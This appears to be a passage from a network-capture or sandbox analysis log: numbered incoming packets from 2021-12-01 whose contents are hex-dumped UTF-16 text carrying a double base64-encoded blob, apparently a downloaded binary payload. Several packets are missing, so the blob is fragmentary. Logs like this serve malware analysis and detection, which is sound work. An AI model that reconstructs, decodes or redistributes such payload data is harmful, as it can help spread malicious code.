2021-12-01 08:14:01 UTC	40	IN	Data Raw: 56 00 42 00 64 00 30 00 4a 00 33 00 59 00 33 00 56 00 46 00 52 00 45 00 46 00 49 00 51 00 69 00 74 00 49 00 5a 00 30 00 46 00 42 00 51 00 32 00 6c 00 6e 00 5a 00 6b 00 46 00 42 00 51 00 55 00 74 00 4c 00 52 00 30 00 31 00 42 00 51 00 55 00 46 00 76 00 5a 00 6b 00 56 00 4a 00 4d 00 57 00 46 00 42 00 51 00 55 00 46 00 43 00 53 00 6d 00 52 00 45 00 5a 00 45 00 46 00 42 00 51 00 55 00 56 00 4c 00 52 00 47 00 4e 00 42 00 51 00 55 00 46 00 77 00 65 00 6b 00 39 00 42 00 51 00 55 00 46 00 44 00 62 00 6b 00 78 00 36 00 51 00 58 00 64 00 43 00 64 00 32 00 5a 00 6f 00 4e 00 45 00 46 00 42 00 51 00 57 00 39 00 76 00 53 00 48 00 64 00 42 00 51 00 55 00 4e 00 70 00 5a 00 7a 00 56 00 42 00 51 00 55 00 46 00 4c 00 59 00 7a 00 4a 00 52 00 51 00 55 00 46 00 42 00 62 00 30 Data Ascii: VBd0J3Y3VFREFIQitIZ0FBQ2lnZkFBQUtLR01BQUFvZkVJMWFBQUFCSmREZEFBQUVLRGNBQUFwek9BQUFDbkx6QXdCd2ZoNEFBQW9vSHdBQUNpZzVBQUFLYzJRQUFBb0
2021-12-01 08:14:01 UTC	41	IN	Data Raw: 00 79 00 52 00 55 00 46 00 42 00 51 00 57 00 39 00 53 00 52 00 45 00 4a 00 6a 00 56 00 55 00 74 00 44 00 57 00 55 00 46 00 42 00 51 00 56 00 6c 00 55 00 52 00 46 00 4a 00 6a 00 56 00 55 00 74 00 44 00 57 00 55 00 46 00 42 00 51 00 56 00 6c 00 55 00 52 00 47 00 68 00 46 00 54 00 6b 00 74 00 45 00 64 00 30 00 46 00 42 00 51 00 57 00 39 00 30 00 53 00 6b 00 4a 00 46 00 54 00 30 00 74 00 45 00 64 00 30 00 46 00 42 00 51 00 57 00 39 00 30 00 52 00 33 00 64 00 61 00 65 00 6c 00 52 00 6e 00 52 00 55 00 46 00 43 00 61 00 56 00 56 00 53 00 52 00 46 00 63 00 35 00 54 00 45 00 46 00 52 00 51 00 55 00 64 00 4b 00 55 00 6b 00 56 00 50 00 59 00 6a 00 41 00 77 00 51 00 6b 00 46 00 42 00 57 00 6e 00 5a 00 51 00 5a 00 30 00 46 00 42 00 51 00 33 00 51 00 30 00 52 00 45 00 Data Ascii: yRUFBQW9SREJjVUtDWUFBQVlURFJjVUtDWUFBQVlURGhFTktEd0FBQW90SkJFT0tEd0FBQW90R3daelRnRUFCaVVSRFc5TEFRQUdKUkVPYjAwQkFBWnZQZ0FBQ3Q0RE
2021-12-01 08:14:01 UTC	42	IN	Data Raw: 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 44 00 53 00 30 00 4a 00 56 00 51 00 55 00 46 00 42 00 57 00 6e 00 6c 00 7a 00 64 00 31 00 56 00 42 00 59 00 30 00 68 00 4d 00 64 00 6b 00 4a 00 52 00 51 00 6e 00 64 00 6d 00 61 00 44 00 52 00 42 00 51 00 55 00 46 00 76 00 62 00 30 00 68 00 33 00 51 00 55 00 46 00 44 00 61 00 57 00 70 00 69 00 51 00 55 00 46 00 42 00 52 00 30 00 74 00 42 00 63 00 30 00 46 00 42 00 51 00 33 00 4e 00 45 00 51 00 6b 00 46 00 56 00 54 00 30 00 4a 00 42 00 4e 00 45 00 5a 00 45 00 5a 00 31 00 6c 00 50 00 51 00 6e 00 63 00 30 00 53 00 55 00 52 00 6e 00 61 00 30 00 39 00 44 00 62 00 53 00 38 00 76 00 51 00 56 00 46 00 42 00 52 00 30 00 74 00 78 00 4e 00 45 00 4e 00 4c 00 51 00 6c 00 56 00 42 00 51 00 55 00 46 Data Ascii: BQUFBQUFBQUFDS0JVQUFBWnlzd1VBY0hMdkJRQndmaDRBQUFvb0h3QUFDaWpiQUFBR0tBc0FBQ3NEQkFVT0JBNEZEZ1lPQnc0SURna09DbS8vQVFBR0txNENLQlVBQUF
2021-12-01 08:14:01 UTC	44	IN	Data Raw: 00 51 00 55 00 46 00 52 00 62 00 30 00 35 00 33 00 51 00 55 00 46 00 44 00 5a 00 32 00 39 00 44 00 52 00 31 00 46 00 5a 00 56 00 30 00 68 00 33 00 64 00 32 00 39 00 69 00 64 00 30 00 46 00 42 00 51 00 32 00 64 00 4c 00 54 00 32 00 46 00 53 00 4f 00 46 00 42 00 58 00 57 00 54 00 46 00 76 00 51 00 55 00 46 00 42 00 51 00 6b 00 4e 00 33 00 53 00 57 00 5a 00 45 00 64 00 32 00 4e 00 58 00 51 00 57 00 38 00 31 00 63 00 45 00 68 00 33 00 4f 00 56 00 70 00 4c 00 52 00 7a 00 68 00 42 00 51 00 55 00 46 00 76 00 5a 00 6b 00 56 00 4a 00 4d 00 57 00 39 00 42 00 51 00 55 00 46 00 43 00 52 00 45 00 46 00 6c 00 54 00 32 00 46 00 52 00 61 00 55 00 39 00 68 00 56 00 6d 00 31 00 4f 00 59 00 55 00 46 00 42 00 51 00 55 00 46 00 52 00 4d 00 45 00 68 00 43 00 4e 00 44 00 56 00 Data Ascii: QUFRb053QUFDZ29DR1FZV0h3d29id0FBQ2dLT2FSOFBXWTFvQUFBQkN3SWZEd2NXQW81cEh3OVpLRzhBQUFvZkVJMW9BQUFCREFlT2FRaU9hVm1OYUFBQUFRMEhCNDV
2021-12-01 08:14:01 UTC	45	IN	Data Raw: 55 00 55 00 6c 00 45 00 59 00 32 00 39 00 4e 00 53 00 55 00 46 00 49 00 51 00 57 00 39 00 4b 00 51 00 55 00 46 00 42 00 51 00 6d 00 64 00 76 00 59 00 57 00 70 00 58 00 5a 00 30 00 46 00 42 00 51 00 55 00 56 00 73 00 52 00 6d 00 64 00 5a 00 59 00 57 00 74 00 61 00 64 00 32 00 78 00 47 00 64 00 31 00 6c 00 69 00 61 00 31 00 70 00 33 00 62 00 45 00 64 00 42 00 57 00 57 00 4e 00 72 00 57 00 6e 00 64 00 73 00 52 00 31 00 46 00 5a 00 5a 00 47 00 74 00 61 00 64 00 31 00 64 00 4c 00 53 00 45 00 31 00 42 00 51 00 55 00 46 00 76 00 63 00 55 00 46 00 42 00 51 00 56 00 52 00 4e 00 51 00 56 00 6c 00 42 00 55 00 55 00 46 00 42 00 51 00 55 00 46 00 43 00 55 00 55 00 46 00 42 00 51 00 6b 00 59 00 72 00 5a 00 45 00 46 00 42 00 51 00 55 00 4e 00 6e 00 62 00 30 00 4e 00 46 Data Ascii: UUlEY29NSUFIQW9KQUFBQmdvYWpXZ0FBQUVsRmdZYWtad2xGd1lia1p3bEdBWWNrWndsR1FZZGtad1dLSE1BQUFvcUFBQVRNQVlBUUFBQUFCUUFBQkYrZEFBQUNnb0NF
2021-12-01 08:14:01 UTC	46	IN	Data Raw: 00 55 00 35 00 47 00 61 00 45 00 31 00 46 00 53 00 33 00 6c 00 56 00 53 00 6b 00 56 00 52 00 55 00 32 00 46 00 46 00 64 00 31 00 6c 00 53 00 51 00 6d 00 6c 00 33 00 56 00 6b 00 56 00 52 00 57 00 56 00 64 00 43 00 64 00 32 00 64 00 53 00 51 00 6d 00 38 00 31 00 63 00 45 00 74 00 49 00 5a 00 30 00 46 00 42 00 51 00 57 00 39 00 4a 00 52 00 56 00 46 00 68 00 54 00 32 00 46 00 57 00 5a 00 30 00 31 00 46 00 55 00 56 00 46 00 59 00 56 00 30 00 4a 00 4e 00 52 00 55 00 56 00 52 00 55 00 55 00 70 00 71 00 62 00 57 00 74 00 35 00 4d 00 55 00 46 00 6a 00 63 00 54 00 42 00 70 00 61 00 47 00 64 00 42 00 51 00 55 00 46 00 4c 00 53 00 48 00 64 00 35 00 54 00 6c 00 64 00 6e 00 51 00 55 00 46 00 42 00 55 00 31 00 68 00 52 00 4e 00 32 00 64 00 42 00 51 00 55 00 4a 00 44 00 Data Ascii: U5GaE1FS3lVSkVRU2FFd1lSQml3VkVRWVdCd2dSQm81cEtIZ0FBQW9JRVFhT2FWZ01FUVFYV0JNRUVRUUpqbWt5MUFjcTBpaGdBQUFLSHd5TldnQUFBU1hRN2dBQUJD
2021-12-01 08:14:01 UTC	48	IN	Data Raw: 30 00 78 00 6f 00 54 00 55 00 68 00 47 00 4d 00 57 00 64 00 5a 00 57 00 46 00 4d 00 77 00 54 00 55 00 4a 00 75 00 54 00 48 00 4a 00 44 00 51 00 55 00 4a 00 33 00 53 00 30 00 4e 00 7a 00 51 00 55 00 46 00 42 00 62 00 30 00 74 00 43 00 65 00 47 00 52 00 5a 00 51 00 33 00 64 00 6a 00 51 00 32 00 49 00 30 00 52 00 55 00 46 00 42 00 51 00 57 00 38 00 76 00 56 00 58 00 59 00 76 00 4c 00 79 00 39 00 33 00 57 00 58 00 46 00 42 00 51 00 55 00 46 00 42 00 52 00 58 00 70 00 42 00 52 00 6b 00 46 00 46 00 57 00 55 00 46 00 42 00 51 00 55 00 46 00 61 00 51 00 55 00 46 00 42 00 55 00 6d 00 4d 00 30 00 53 00 55 00 46 00 42 00 51 00 57 00 39 00 4c 00 52 00 6d 00 64 00 7a 00 63 00 6b 00 78 00 42 00 57 00 55 00 4e 00 43 00 4d 00 6a 00 68 00 75 00 51 00 55 00 46 00 42 00 53 Data Ascii: 0xoTUhGMWdZWFMwTUJuTHJDQUJ3S0NzQUFBb0tCeGRZQ3djQ2I0RUFBQW8vVXYvLy93WXFBQUFBRXpBRkFFWUFBQUFaQUFBUmM0SUFBQW9LRmdzckxBWUNCMjhuQUFBS
2021-12-01 08:14:01 UTC	49	IN	Data Raw: 00 46 00 72 00 51 00 57 00 4e 00 42 00 64 00 48 00 6c 00 59 00 64 00 32 00 74 00 42 00 59 00 30 00 68 00 4b 00 4e 00 30 00 4e 00 52 00 51 00 6e 00 64 00 43 00 65 00 57 00 6c 00 55 00 51 00 55 00 46 00 42 00 53 00 30 00 52 00 44 00 61 00 56 00 56 00 42 00 51 00 55 00 46 00 4c 00 59 00 6a 00 56 00 56 00 51 00 55 00 46 00 42 00 62 00 30 00 6c 00 69 00 4e 00 56 00 6c 00 42 00 51 00 55 00 46 00 76 00 57 00 45 00 52 00 6b 00 4e 00 45 00 5a 00 4b 00 61 00 46 00 6c 00 4f 00 4d 00 32 00 64 00 42 00 53 00 6b 00 74 00 6e 00 51 00 55 00 4a 00 46 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 4b 00 61 00 56 00 6c 00 42 00 51 00 56 00 56 00 51 00 51 00 55 00 46 00 42 00 51 00 6b 00 64 00 36 00 51 00 55 00 4a 00 42 00 51 00 6c 00 56 00 42 00 51 00 Data Ascii: FrQWNBdHlYd2tBY0hKN0NRQndCeWlUQUFBS0RDaVVBQUFLYjVVQUFBb0liNVlBQUFvWERkNEZKaFlOM2dBSktnQUJFQUFBQUFBQUFKaVlBQVVQQUFBQkd6QUJBQlVBQ
2021-12-01 08:14:01 UTC	50	IN	Data Raw: 46 00 51 00 52 00 48 00 64 00 42 00 52 00 6b 00 52 00 33 00 51 00 55 00 46 00 42 00 55 00 6e 00 4e 00 33 00 51 00 57 00 64 00 42 00 56 00 30 00 46 00 42 00 51 00 55 00 46 00 49 00 51 00 55 00 46 00 42 00 52 00 56 00 46 00 4b 00 4e 00 30 00 46 00 6e 00 51 00 55 00 46 00 43 00 51 00 55 00 35 00 32 00 52 00 57 00 64 00 46 00 51 00 55 00 4a 00 6e 00 63 00 6d 00 56 00 43 00 55 00 31 00 6c 00 58 00 51 00 33 00 51 00 30 00 51 00 55 00 4a 00 70 00 62 00 30 00 46 00 42 00 51 00 55 00 56 00 52 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 45 00 64 00 7a 00 68 00 42 00 51 00 6c 00 45 00 34 00 51 00 55 00 46 00 42 00 52 00 57 00 4a 00 4e 00 51 00 55 00 6c 00 42 00 52 00 6d 00 64 00 42 00 51 00 55 00 46 00 43 00 64 00 30 00 46 00 42 00 51 00 6b Data Ascii: FQRHdBRkR3QUFBUnN3QWdBV0FBQUFIQUFBRVFKN0FnQUFCQU52RWdFQUJncmVCU1lXQ3Q0QUJpb0FBQUVRQUFBQUFBQUFEdzhBQlE4QUFBRWJNQUlBRmdBQUFCd0FBQk
2021-12-01 08:14:01 UTC	52	IN	Data Raw: 00 6c 00 64 00 30 00 6c 00 42 00 51 00 55 00 46 00 52 00 52 00 47 00 4a 00 33 00 62 00 30 00 4a 00 42 00 51 00 56 00 6c 00 4c 00 4d 00 32 00 64 00 56 00 62 00 55 00 5a 00 6e 00 63 00 6d 00 56 00 42 00 51 00 56 00 6c 00 78 00 51 00 55 00 46 00 42 00 51 00 6b 00 56 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 45 00 34 00 55 00 45 00 46 00 42 00 56 00 56 00 42 00 42 00 51 00 55 00 46 00 43 00 52 00 33 00 70 00 42 00 51 00 30 00 46 00 43 00 57 00 55 00 46 00 42 00 51 00 55 00 46 00 6a 00 51 00 55 00 46 00 42 00 55 00 6b 00 46 00 75 00 63 00 30 00 4e 00 42 00 51 00 55 00 46 00 46 00 51 00 54 00 49 00 34 00 56 00 55 00 46 00 52 00 51 00 55 00 64 00 44 00 64 00 44 00 52 00 47 00 53 00 6d 00 68 00 5a 00 53 00 7a 00 4e 00 6e 00 51 00 55 00 Data Ascii: ld0lBQUFRRGJ3b0JBQVlLM2dVbUZncmVBQVlxQUFBQkVBQUFBQUFBQUE4UEFBVVBBQUFCR3pBQ0FCWUFBQUFjQUFBUkFuc0NBQUFFQTI4VUFRQUdDdDRGSmhZSzNnQU
2021-12-01 08:14:01 UTC	53	IN	Data Raw: 6e 00 51 00 55 00 46 00 42 00 55 00 6b 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 56 00 42 00 45 00 64 00 30 00 46 00 47 00 52 00 48 00 64 00 42 00 51 00 55 00 46 00 53 00 63 00 33 00 64 00 42 00 55 00 55 00 46 00 58 00 51 00 55 00 46 00 42 00 51 00 55 00 64 00 33 00 51 00 55 00 46 00 46 00 55 00 55 00 6f 00 33 00 51 00 57 00 64 00 42 00 51 00 55 00 4a 00 48 00 4f 00 46 00 70 00 42 00 55 00 55 00 46 00 48 00 52 00 6e 00 64 00 79 00 5a 00 55 00 4a 00 54 00 57 00 56 00 64 00 44 00 64 00 44 00 52 00 42 00 51 00 6d 00 6c 00 76 00 51 00 55 00 46 00 42 00 52 00 56 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 52 00 33 00 4f 00 45 00 46 00 43 00 55 00 54 00 68 00 42 00 51 00 55 00 46 00 46 00 59 00 6b 00 31 Data Ascii: nQUFBUkFBQUFBQUFBQVBEd0FGRHdBQUFSc3dBUUFXQUFBQUd3QUFFUUo3QWdBQUJHOFpBUUFHRndyZUJTWVdDdDRBQmlvQUFBRVFBQUFBQUFBQUR3OEFCUThBQUFFYk1
2021-12-01 08:14:01 UTC	54	IN	Data Raw: 00 51 00 55 00 4a 00 6f 00 5a 00 55 00 35 00 58 00 5a 00 30 00 46 00 42 00 51 00 56 00 4e 00 56 00 56 00 30 00 67 00 7a 00 65 00 57 00 52 00 69 00 4e 00 6b 00 46 00 42 00 51 00 55 00 46 00 76 00 56 00 45 00 4a 00 34 00 57 00 56 00 52 00 44 00 51 00 33 00 4e 00 69 00 52 00 56 00 46 00 6a 00 55 00 6b 00 4e 00 4b 00 62 00 31 00 52 00 44 00 55 00 56 00 6c 00 53 00 51 00 31 00 63 00 34 00 64 00 6b 00 46 00 42 00 51 00 55 00 64 00 4d 00 51 00 56 00 46 00 59 00 51 00 33 00 6c 00 7a 00 54 00 30 00 56 00 52 00 5a 00 31 00 68 00 58 00 51 00 6b 00 31 00 4a 00 52 00 56 00 46 00 6e 00 55 00 6b 00 49 00 30 00 4e 00 58 00 42 00 4e 00 64 00 44 00 42 00 6e 00 61 00 55 00 4a 00 4e 00 51 00 55 00 46 00 44 00 61 00 57 00 68 00 42 00 51 00 55 00 46 00 4c 00 51 00 6e 00 6c 00 Data Ascii: QUJoZU5XZ0FBQVNVV0gzeWRiNkFBQUFvVEJ4WVRDQ3NiRVFjUkNKb1RDUVlSQ1c4dkFBQUdMQVFYQ3lzT0VRZ1hXQk1JRVFnUkI0NXBNdDBnaUJNQUFDaWhBQUFLQnl
2021-12-01 08:14:01 UTC	58	IN	Data Raw: 46 00 42 00 51 00 55 00 4e 00 4c 00 54 00 54 00 52 00 42 00 51 00 55 00 46 00 5a 00 62 00 32 00 6c 00 42 00 51 00 55 00 46 00 43 00 5a 00 32 00 39 00 58 00 51 00 33 00 6c 00 7a 00 57 00 45 00 4a 00 6e 00 5a 00 57 00 46 00 45 00 51 00 57 00 64 00 44 00 51 00 58 00 64 00 53 00 64 00 6d 00 64 00 33 00 51 00 55 00 46 00 43 00 64 00 44 00 52 00 46 00 5a 00 57 00 6c 00 69 00 5a 00 55 00 46 00 42 00 59 00 31 00 68 00 58 00 51 00 58 00 4e 00 49 00 51 00 6d 00 38 00 31 00 63 00 45 00 31 00 31 00 54 00 55 00 4e 00 43 00 53 00 45 00 5a 00 44 00 51 00 55 00 46 00 42 00 51 00 32 00 4a 00 36 00 55 00 55 00 46 00 42 00 51 00 56 00 6c 00 59 00 54 00 47 00 64 00 61 00 65 00 6e 00 4a 00 52 00 51 00 55 00 46 00 44 00 62 00 6d 00 39 00 44 00 51 00 58 00 64 00 52 00 62 00 31 Data Ascii: FBQUNLTTRBQUFZb2lBQUFCZ29XQ3lzWEJnZWFEQWdDQXdSdmd3QUFCdDRFZWliZUFBY1hXQXNIQm81cE11TUNCSEZDQUFBQ2J6UUFBQVlYTGdaenJRQUFDbm9DQXdRb1
2021-12-01 08:14:01 UTC	63	IN	Data Raw: 00 57 00 31 00 42 00 4d 00 6a 00 6c 00 6a 00 51 00 56 00 46 00 42 00 52 00 30 00 78 00 44 00 51 00 55 00 4e 00 4c 00 54 00 6c 00 56 00 42 00 51 00 55 00 46 00 61 00 64 00 6b 00 35 00 52 00 51 00 55 00 46 00 43 00 61 00 56 00 56 00 5a 00 54 00 58 00 64 00 6e 00 51 00 30 00 46 00 33 00 55 00 57 00 39 00 59 00 64 00 30 00 46 00 42 00 51 00 6d 00 68 00 72 00 65 00 6b 00 4a 00 75 00 54 00 33 00 52 00 42 00 51 00 55 00 46 00 4c 00 5a 00 57 00 6c 00 76 00 56 00 45 00 31 00 42 00 55 00 55 00 46 00 50 00 55 00 55 00 46 00 42 00 51 00 55 00 4e 00 4a 00 51 00 55 00 46 00 43 00 52 00 55 00 52 00 69 00 4d 00 54 00 52 00 43 00 51 00 55 00 46 00 5a 00 63 00 30 00 31 00 43 00 5a 00 55 00 35 00 4c 00 64 00 30 00 46 00 42 00 51 00 57 00 6c 00 56 00 56 00 32 00 4d 00 31 00 Data Ascii: W1BMjljQVFBR0xDQUNLTlVBQUFadk5RQUFCaVVZTXdnQ0F3UW9Yd0FBQmhrekJuT3RBQUFLZWlvVE1BUUFPUUFBQUNJQUFCRURiMTRCQUFZc01CZU5Ld0FBQWlVV2M1
2021-12-01 08:14:01 UTC	64	IN	Data Raw: 32 00 53 00 32 00 64 00 42 00 56 00 45 00 31 00 42 00 55 00 55 00 46 00 5a 00 51 00 55 00 46 00 42 00 51 00 55 00 4e 00 52 00 51 00 55 00 46 00 43 00 52 00 55 00 52 00 69 00 4d 00 57 00 39 00 43 00 51 00 55 00 46 00 5a 00 63 00 31 00 59 00 7a 00 54 00 31 00 64 00 42 00 51 00 55 00 46 00 48 00 51 00 32 00 64 00 5a 00 52 00 47 00 49 00 79 00 5a 00 30 00 4a 00 42 00 51 00 56 00 70 00 32 00 62 00 46 00 46 00 42 00 51 00 55 00 4a 00 6f 00 61 00 55 00 35 00 4c 00 64 00 30 00 46 00 42 00 51 00 57 00 6c 00 56 00 56 00 32 00 4d 00 31 00 55 00 55 00 46 00 42 00 51 00 57 00 46 00 70 00 53 00 6c 00 4a 00 6a 00 52 00 32 00 39 00 70 00 61 00 55 00 39 00 42 00 51 00 55 00 46 00 48 00 51 00 33 00 64 00 6a 00 52 00 47 00 49 00 79 00 64 00 30 00 4a 00 42 00 51 00 56 00 6c Data Ascii: 2S2dBVE1BUUFZQUFBQUNRQUFCRURiMW9CQUFZc1YzT1dBQUFHQ2dZRGIyZ0JBQVp2bFFBQUJoaU5Ld0FBQWlVV2M1UUFBQWFpSlJjR29paU9BQUFHQ3djRGIyd0JBQVl
2021-12-01 08:14:01 UTC	68	IN	Data Raw: 00 5a 00 4a 00 51 00 55 00 46 00 42 00 63 00 48 00 6b 00 72 00 55 00 57 00 74 00 42 00 59 00 30 00 4e 00 6e 00 4e 00 55 00 46 00 42 00 51 00 55 00 74 00 44 00 5a 00 31 00 6c 00 76 00 63 00 6d 00 64 00 42 00 51 00 55 00 4e 00 70 00 64 00 7a 00 4a 00 43 00 62 00 6b 00 35 00 72 00 51 00 55 00 46 00 42 00 53 00 30 00 74 00 4c 00 4f 00 45 00 46 00 42 00 51 00 57 00 39 00 76 00 55 00 57 00 64 00 42 00 51 00 55 00 4e 00 6e 00 63 00 31 00 4e 00 42 00 55 00 69 00 38 00 35 00 53 00 30 00 56 00 4e 00 51 00 55 00 46 00 42 00 62 00 32 00 39 00 7a 00 51 00 55 00 46 00 42 00 51 00 32 00 6c 00 33 00 55 00 6b 00 4a 00 70 00 61 00 58 00 68 00 42 00 51 00 55 00 46 00 4c 00 51 00 6d 00 6c 00 70 00 65 00 55 00 46 00 42 00 51 00 55 00 74 00 4b 00 61 00 46 00 6c 00 4e 00 4d 00 Data Ascii: ZJQUFBcHkrUWtBY0NnNUFBQUtDZ1lvcmdBQUNpdzJCbk5rQUFBS0tLOEFBQW9vUWdBQUNnc1NBUi85S0VNQUFBb29zQUFBQ2l3UkJpaXhBQUFLQmlpeUFBQUtKaFlNM
2021-12-01 08:14:01 UTC	72	IN	Data Raw: 56 00 45 00 46 00 42 00 51 00 58 00 4a 00 69 00 4e 00 44 00 52 00 43 00 51 00 55 00 46 00 5a 00 63 00 57 00 35 00 6e 00 54 00 6e 00 5a 00 5a 00 5a 00 30 00 56 00 42 00 51 00 6d 00 6c 00 33 00 5a 00 55 00 4a 00 44 00 61 00 53 00 39 00 42 00 55 00 55 00 46 00 48 00 52 00 6a 00 51 00 77 00 63 00 6b 00 46 00 42 00 51 00 55 00 4e 00 4b 00 55 00 6c 00 70 00 36 00 63 00 45 00 46 00 42 00 51 00 55 00 4a 00 78 00 53 00 57 00 39 00 71 00 5a 00 30 00 46 00 42 00 51 00 6d 00 30 00 72 00 51 00 30 00 46 00 52 00 51 00 55 00 64 00 4c 00 5a 00 30 00 46 00 42 00 52 00 58 00 70 00 42 00 52 00 6b 00 46 00 47 00 56 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 45 00 79 00 4f 00 57 00 64 00 42 00 55 00 55 00 46 00 48 00 54 00 45 00 56 00 33 Data Ascii: VEFBQXJiNDRCQUFZcW5nTnZZZ0VBQml3ZUJDaS9BUUFHRjQwckFBQUNKUlp6cEFBQUJxSW9qZ0FBQm0rQ0FRQUdLZ0FBRXpBRkFGVUFBQUFBQUFBQUEyOWdBUUFHTEV3
2021-12-01 08:14:01 UTC	76	IN	Data Raw: 00 71 00 63 00 6b 00 4e 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 4a 00 46 00 52 00 6d 00 4d 00 79 00 55 00 55 00 46 00 42 00 51 00 57 00 39 00 55 00 51 00 32 00 68 00 46 00 53 00 32 00 49 00 35 00 56 00 55 00 46 00 42 00 51 00 57 00 39 00 55 00 51 00 6e 00 68 00 5a 00 56 00 45 00 4e 00 34 00 57 00 56 00 52 00 45 00 51 00 33 00 52 00 4b 00 52 00 56 00 46 00 7a 00 64 00 46 00 52 00 53 00 57 00 56 00 52 00 45 00 55 00 33 00 4e 00 36 00 52 00 56 00 46 00 7a 00 64 00 45 00 35 00 6e 00 56 00 56 00 4a 00 45 00 57 00 6d 00 39 00 53 00 51 00 6e 00 68 00 46 00 54 00 57 00 31 00 6f 00 54 00 55 00 39 00 46 00 55 00 54 00 56 00 32 00 57 00 6c 00 46 00 42 00 51 00 55 00 4e 00 70 00 61 00 47 00 52 00 42 00 51 00 55 00 46 00 4c 00 54 00 45 00 4a 00 42 00 57 00 45 00 Data Ascii: qckNBQUFBQUJFRmMyUUFBQW9UQ2hFS2I5VUFBQW9UQnhZVEN4WVREQ3RKRVFzdFRSWVREU3N6RVFzdE5nVVJEWm9SQnhFTW1oTU9FUTV2WlFBQUNpaGRBQUFLTEJBWE
2021-12-01 08:14:01 UTC	80	IN	Data Raw: 55 00 46 00 45 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 53 00 31 00 46 00 42 00 51 00 55 00 46 00 4b 00 62 00 30 00 4e 00 42 00 51 00 55 00 52 00 45 00 51 00 57 00 64 00 42 00 51 00 55 00 46 00 33 00 51 00 55 00 46 00 42 00 51 00 54 00 68 00 42 00 51 00 55 00 46 00 46 00 51 00 30 00 46 00 42 00 51 00 55 00 46 00 46 00 51 00 55 00 46 00 42 00 51 00 55 00 31 00 4e 00 51 00 30 00 46 00 42 00 52 00 46 00 52 00 42 00 5a 00 30 00 46 00 42 00 51 00 32 00 64 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 4a 00 6e 00 51 00 55 00 46 00 42 00 54 00 6d 00 74 00 44 00 51 00 55 00 46 00 45 00 5a 00 6b 00 46 00 6e 00 51 Data Ascii: UFEQUFBQUFBQUFBQUFBQUFBS1FBQUFKb0NBQUREQWdBQUF3QUFBQThBQUFFQ0FBQUFFQUFBQU1NQ0FBRFRBZ0FBQ2dBQUFBQUFBQUFBQUFBQUJnQUFBTmtDQUFEZkFnQ
2021-12-01 08:14:01 UTC	84	IN	Data Raw: 00 61 00 47 00 52 00 32 00 56 00 45 00 46 00 42 00 51 00 55 00 4e 00 75 00 4e 00 45 00 68 00 42 00 55 00 55 00 46 00 46 00 53 00 6c 00 4d 00 77 00 57 00 45 00 70 00 75 00 4e 00 45 00 64 00 42 00 55 00 55 00 46 00 46 00 4c 00 32 00 64 00 5a 00 54 00 6b 00 46 00 6e 00 51 00 55 00 64 00 6a 00 4b 00 30 00 31 00 42 00 51 00 55 00 46 00 76 00 62 00 47 00 64 00 42 00 59 00 30 00 4a 00 42 00 51 00 56 00 46 00 76 00 52 00 6e 00 64 00 42 00 51 00 55 00 73 00 7a 00 4d 00 45 00 31 00 42 00 51 00 55 00 46 00 46 00 53 00 32 00 67 00 30 00 51 00 30 00 74 00 51 00 64 00 30 00 46 00 42 00 51 00 56 00 6c 00 78 00 51 00 55 00 46 00 42 00 51 00 55 00 64 00 36 00 51 00 55 00 52 00 42 00 52 00 31 00 56 00 42 00 51 00 55 00 46 00 42 00 63 00 30 00 46 00 42 00 51 00 56 00 4a 00 Data Ascii: aGR2VEFBQUNuNEhBUUFFSlMwWEpuNEdBUUFFL2dZTkFnQUdjK01BQUFvbGdBY0JBQVFvRndBQUszME1BQUFFS2g0Q0tQd0FBQVlxQUFBQUd6QURBR1VBQUFBc0FBQVJ
2021-12-01 08:14:01 UTC	88	IN	Data Raw: 4e 00 6c 00 51 00 6c 00 4e 00 69 00 5a 00 55 00 46 00 42 00 57 00 58 00 46 00 44 00 55 00 32 00 39 00 42 00 51 00 56 00 4a 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 48 00 51 00 55 00 4e 00 6a 00 64 00 45 00 46 00 42 00 52 00 45 00 4e 00 6e 00 51 00 55 00 46 00 42 00 55 00 6e 00 4e 00 33 00 51 00 6d 00 64 00 43 00 4c 00 30 00 46 00 6e 00 51 00 55 00 46 00 4d 00 64 00 30 00 46 00 42 00 52 00 56 00 68 00 51 00 5a 00 55 00 46 00 42 00 51 00 55 00 74 00 44 00 61 00 47 00 4e 00 4d 00 52 00 31 00 6b 00 78 00 59 00 55 00 46 00 42 00 51 00 55 00 4a 00 4b 00 5a 00 45 00 52 00 34 00 51 00 55 00 46 00 42 00 52 00 55 00 74 00 45 00 59 00 30 00 46 00 42 00 51 00 58 00 42 00 36 00 54 00 30 00 46 00 42 00 51 00 55 00 4e 00 6f 00 4f 00 45 00 70 00 71 00 56 00 6d Data Ascii: NlQlNiZUFBWXFDU29BQVJBQUFBQUFHQUNjdEFBRENnQUFBUnN3QmdCL0FnQUFMd0FBRVhQZUFBQUtDaGNMR1kxYUFBQUJKZER4QUFBRUtEY0FBQXB6T0FBQUNoOEpqVm
